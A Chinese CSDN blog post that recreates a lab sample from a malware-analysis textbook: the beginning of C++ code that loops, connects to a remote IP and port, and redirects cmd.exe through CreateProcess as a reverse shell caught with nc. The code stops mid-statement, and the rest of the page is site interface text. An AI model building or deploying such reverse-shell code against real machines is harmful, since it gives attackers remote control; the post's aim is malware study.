CreateProcess 重定向CMD实现反弹shell

该博客介绍了一种利用CreateProcess函数实现CMD反弹shell的方法,通过不断尝试连接指定的IP地址和端口,允许远程控制。C2服务器可以使用nc工具来接收这个反弹的shell。
摘要由CSDN通过智能技术生成

这段代码比我还老了,哈哈~

功能很简单,就是一直尝试向某个ip:port反弹shell,C2用nc就能接收这个反弹shell。

// RedirectCmd.cpp : Defines the entry point for the console application.
// 还原《恶意代码分析实战》第九章练习样本2

#include "stdafx.h"
#include <WinSock2.h>
#include <Windows.h>

#pragma comment(lib,"ws2_32")

#define DELAYMILLSECOND 3000
#define REMOTE_PORT 9999
#define REMOTE_IP "localhost"
#define CMD_STR "cmd"

int _tmain(int argc, _TCHAR* argv[])
{
   
	while (1)
	{
   
		WSAData WsaData;
		if (0 != WSAStartup
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值